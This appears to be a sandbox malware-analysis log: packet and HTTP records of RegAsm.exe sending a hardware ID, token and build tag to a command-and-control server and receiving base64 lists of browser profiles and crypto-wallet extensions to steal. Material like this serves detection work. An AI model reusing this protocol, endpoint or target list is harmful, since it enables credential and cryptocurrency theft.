Aug 27, 2024 20:12:08.296597958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.296621084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.298954964 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.305038929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.488775969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.488851070 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.500777960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.505603075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.691111088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.691179037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.725131035 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.725233078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730082035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730137110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730146885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730199099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730217934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730258942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730292082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730300903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730308056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730335951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730360031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730411053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730632067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730639935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730686903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730714083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730722904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730730057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730737925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730746984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730755091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730762959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730765104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730770111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.730799913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.730843067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.731075048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.731123924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.735286951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.735359907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.735542059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.735621929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.735630989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.735729933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.736459970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.736646891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.736778021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.736834049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.737602949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737667084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.737709045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737759113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:08.737775087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737783909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737787008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737796068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737807035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737809896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737818003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737822056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737828970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737837076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737853050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.737862110 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.738009930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.738054037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.738061905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.738069057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.738384962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740413904 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740422010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740492105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740642071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740669966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740678072 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740684986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740706921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740726948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740812063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740818977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740878105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740967989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740977049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.740986109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741128922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741137981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741146088 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741163015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741172075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741251945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741292953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741425037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741533995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741544008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741687059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741736889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741744995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.741837978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.742599964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.742660999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:08.742770910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.206866980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.206927061 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:09.210097075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:09.214946985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.399247885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.399329901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:09.400258064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:09.405586004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.888477087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:09.888531923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:12.124794960 CEST	49710	80	192.168.2.6	147.45.47.253

HTTP Request Dependency Graph

147.45.47.253

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	147.45.47.253	80	760	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 20:11:57.276298046 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.47.253 Connection: Keep-Alive Cache-Control: no-cache
Aug 27, 2024 20:11:57.908209085 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 27, 2024 20:11:57.911791086 CEST	421	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIID Host: 147.45.47.253 Content-Length: 221 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 45 31 38 46 39 39 32 31 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 43 6c 6f 75 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="hwid"12E18F992142156122474------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="build"LogsDillerCloud------KFBGCAKFHCFHJKECFIID--
Aug 27, 2024 20:11:58.396574020 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 56 6d 4d 44 4d 78 4e 6d 56 6d 4e 44 45 79 5a 54 67 31 4d 54 46 6c 4e 7a 67 34 4f 54 52 6a 4d 6a 41 33 4f 44 6c 6b 4f 47 51 32 4e 44 6b 32 4e 32 55 35 4e 44 49 33 4e 54 41 79 4d 6d 4d 31 4d 57 4d 77 4e 32 59 33 4f 54 51 32 4e 47 46 6c 5a 6a 6c 6b 4e 47 4d 33 4d 6a 6b 77 4e 44 68 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmVmMDMxNmVmNDEyZTg1MTFlNzg4OTRjMjA3ODlkOGQ2NDk2N2U5NDI3NTAyMmM1MWMwN2Y3OTQ2NGFlZjlkNGM3MjkwNDhifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 27, 2024 20:11:58.398030996 CEST	468	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 147.45.47.253 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"browsers------AKFCFBAAEHCFHJJKEHJK--
Aug 27, 2024 20:11:58.403448105 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 56 6d 4d 44 4d 78 4e 6d 56 6d 4e 44 45 79 5a 54 67 31 4d 54 46 6c 4e 7a 67 34 4f 54 52 6a 4d 6a 41 33 4f 44 6c 6b 4f 47 51 32 4e 44 6b 32 4e 32 55 35 4e 44 49 33 4e 54 41 79 4d 6d 4d 31 4d 57 4d 77 4e 32 59 33 4f 54 51 32 4e 47 46 6c 5a 6a 6c 6b 4e 47 4d 33 4d 6a 6b 77 4e 44 68 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmVmMDMxNmVmNDEyZTg1MTFlNzg4OTRjMjA3ODlkOGQ2NDk2N2U5NDI3NTAyMmM1MWMwN2Y3OTQ2NGFlZjlkNGM3MjkwNDhifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 27, 2024 20:11:58.587553024 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 27, 2024 20:11:58.588215113 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 27, 2024 20:11:58.589252949 CEST	467	OUT	POST /072aacac8f68fd5f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAA Host: 147.45.47.253 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 66 30 33 31 36 65 66 34 31 32 65 38 35 31 31 65 37 38 38 39 34 63 32 30 37 38 39 64 38 64 36 34 39 36 37 65 39 34 32 37 35 30 32 32 63 35 31 63 30 37 66 37 39 34 36 34 61 65 66 39 64 34 63 37 32 39 30 34 38 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 2d 2d 0d 0a Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"fef0316ef412e8511e78894c20789d8d64967e94275022c51c07f79464aef9d4c729048b------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="message"plugins------EGIJEBGDAFHIJJKEHCAA--
Aug 27, 2024 20:11:58.778280973 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 18:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 27, 2024 20:11:58.778382063 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 27, 2024 20:11:58.778392076 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
